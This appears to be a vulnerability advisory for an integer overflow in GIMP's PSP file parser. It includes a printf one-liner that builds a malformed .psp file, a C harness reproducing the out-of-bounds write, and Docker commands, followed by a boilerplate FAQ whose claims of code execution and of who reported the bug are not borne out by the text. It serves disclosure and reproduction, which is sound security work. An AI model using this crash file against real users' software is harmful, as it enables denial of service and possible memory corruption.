REDHAT-BUG-2438429: Integer Overflow
An integer overflow vulnerability has been identified in the PSP (Paint Shop Pro) file parser of GIMP. The issue occurs in the readcreatorblock() function, where the Creator metadata block is processed. Specifically, a 32-bit length value read from the file is used directly for memory allocation without proper validation. Trigger -> when length is set to 0xFFFFFFFF
gmalloc(0xFFFFFFFF + 1) results in gmalloc(0), leading to the allocation of a minimal-sized buffer fread() then attempts to read approximately 4 GB of data into this small buffer Writing string[0xFFFFFFFF] = '\0' causes an out-of-bounds write beyond the allocated buffer
Vulnerable code (file-psp.c:1130):
guint32 length; fread(&length, 4, 1, f); // Reads length from the file (no validation) string = gmalloc(length + 1); // length = 0xFFFFFFFF → gmalloc(0) fread(string, length, 1, f); // Attempts to read ~4 GB → heap overflow string[length] = '\0'; // Out-of-bounds write at offset 0xFFFFFFFF
PoC
pspoverflow.psp
printf 'Paint Shop Pro Image File\n\x1a\0\0\0\0\0\x03\0\0\0~BK\0\0\0&\0\0\0&\0\0\0\x10\0\0\0\x10\0\0\0\0\0\0\0\0\0R@\0\0\0\x08\0\x01\0\0\x01\0\0\0\0\x01\0\0\0\0\0\0\x01\0~BK\0\x01\0\x0a\x01\0\0\x0a\x01\0\0~FL\0\0\0\xff\xff\xff\xff%s' "$(printf 'A%.0s' {1..256})" > pspoverflow.psp
harnesspsp.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h>
typedef uint32t guint32; typedef uint16t guint16; typedef unsigned char guchar; typedef char gchar;
#define GUINT32FROMLE(val) (val) #define GUINT16FROMLE(val) (val)
#define PSPCRTRFLDTITLE 0 #define PSPCRTRFLDARTIST 1 #define PSPCRTRFLDCPYRGHT 2 #define PSPCRTRFLDDESC 3
static int readcreatorblockvulnerable(FILE f, long datastart, guint32 totallen) { guchar buf[4]; guint16 keyword; guint32 length; gchar string;
printf("[] Parsing creator block (totallen=%u)\n", totallen);
while (ftell(f) < datastart + totallen) { if (fread(buf, 4, 1, f) < 1 || fread(&keyword, 2, 1, f) < 1 || fread(&length, 4, 1, f) < 1) { fprintf(stderr, "[-] Error reading creator keyword chunk\n"); return -1; }
if (memcmp(buf, "~FL\0", 4) != 0) { fprintf(stderr, "[-] Invalid keyword chunk header\n"); return -1; }
keyword = GUINT16FROMLE(keyword); length = GUINT32FROMLE(length);
printf("[] Found field: keyword=%u, length=0x%08X (%u)\n", keyword, length, length);
switch (keyword) { case PSPCRTRFLDTITLE: case PSPCRTRFLDARTIST: case PSPCRTRFLDCPYRGHT: case PSPCRTRFLDDESC:
string = (gchar )malloc(length + 1); // vulnerable
if (string == NULL) { fprintf(stderr, "[-] malloc failed\n"); return -1; }
printf("fread(buf, %u, 1, f) -> heap overflow\n", length);
if (fread(string, length, 1, f) < 1) { fprintf(stderr, "[] fread failed (expected for large length)\n"); }
printf("[!] Writing string[0x%08X] = '\\0' -> oob write\n", length); string[length] = '\0'; // crash!
free(string); break;
default: fseek(f, length, SEEKCUR); break; } }
return 0; }
int main(int argc, char argv[]) { FILE f; char magic[32]; guchar buf[4]; guint16 blocktype; guint32 blocklen1, blocklen2;
f = fopen(argv[1], "rb"); if (!f) { fprintf(stderr, "[-] Cannot open %s\n", argv[1]); return 1; }
if (fread(magic, 32, 1, f) < 1) { fprintf(stderr, "[-] Cannot read magic\n"); fclose(f); return 1; }
if (memcmp(magic, "Paint Shop Pro Image File", 25) != 0) { fprintf(stderr, "[-] Invalid PSP file\n"); fclose(f); return 1; }
printf("[+] Valid PSP signature\n");
fseek(f, 4, SEEKCUR);
while (fread(buf, 4, 1, f) == 1) { if (memcmp(buf, "~BK\0", 4) != 0) { fseek(f, -3, SEEKCUR); continue; }
if (fread(&blocktype, 2, 1, f) < 1 || fread(&blocklen1, 4, 1, f) < 1 || fread(&blocklen2, 4, 1, f) < 1) { break; }
blocktype = GUINT16FROMLE(blocktype); blocklen1 = GUINT32FROMLE(blocklen1);
if (blocktype == 1) { long datastart = ftell(f); readcreatorblockvulnerable(f, datastart, blocklen1); break; } else { fseek(f, blocklen1, SEEKCUR); } }
fclose(f); return 0; }
Dockerfile
FROM --platform=linux/arm64 ubuntu:22.04
ENV DEBIANFRONTEND=noninteractive
RUN apt-get update && apt-get install -y \ build-essential \ git \ clang \ python3 \ && rm -rf /var/lib/apt/lists/
WORKDIR /reproduce
COPY harnesspsp.c ./ COPY pspoverflow.psp ./
RUN clang -fsanitize=address -g -O1 -o harnesspsp harnesspsp.c
CMD ["/reproduce/harnesspsp", "/reproduce/pspoverflow.psp"]
Run
docker build -t gimp-vuln-psp-poc . docker run --rm gimp-vuln-psp-poc
Environment
GIMP Version: 3.2.0 RC2 Source Code: git clone --branch GIMP320RC2
https://gitlab.gnome.org/GNOME/gimp.git
vuln file: plug-ins/common/file-psp.c vuln func: readcreatorblock() vuln line: 1130
test environment
OS: macOS 15.2 (Darwin 25.2.0) Arch: ARM64 (Apple M4) Docker: ubuntU:22.04 Compiler: clang with -fsanitize=address
Affected Software
Event History
Frequently Asked Questions
What is the severity of REDHAT-BUG-2438429?
The severity of REDHAT-BUG-2438429 is classified as critical due to the potential for integer overflow leading to arbitrary code execution.
How do I fix REDHAT-BUG-2438429?
To fix REDHAT-BUG-2438429, upgrade GIMP to the latest version that addresses this integer overflow vulnerability.
Which versions of GIMP are affected by REDHAT-BUG-2438429?
GIMP version 3.2.0 RC2 is specifically affected by REDHAT-BUG-2438429.
What is the nature of the vulnerability in REDHAT-BUG-2438429?
REDHAT-BUG-2438429 involves an integer overflow vulnerability in the PSP file parser, affecting memory allocation.
Who reported REDHAT-BUG-2438429?
REDHAT-BUG-2438429 was reported by the GNOME team in relation to GIMP.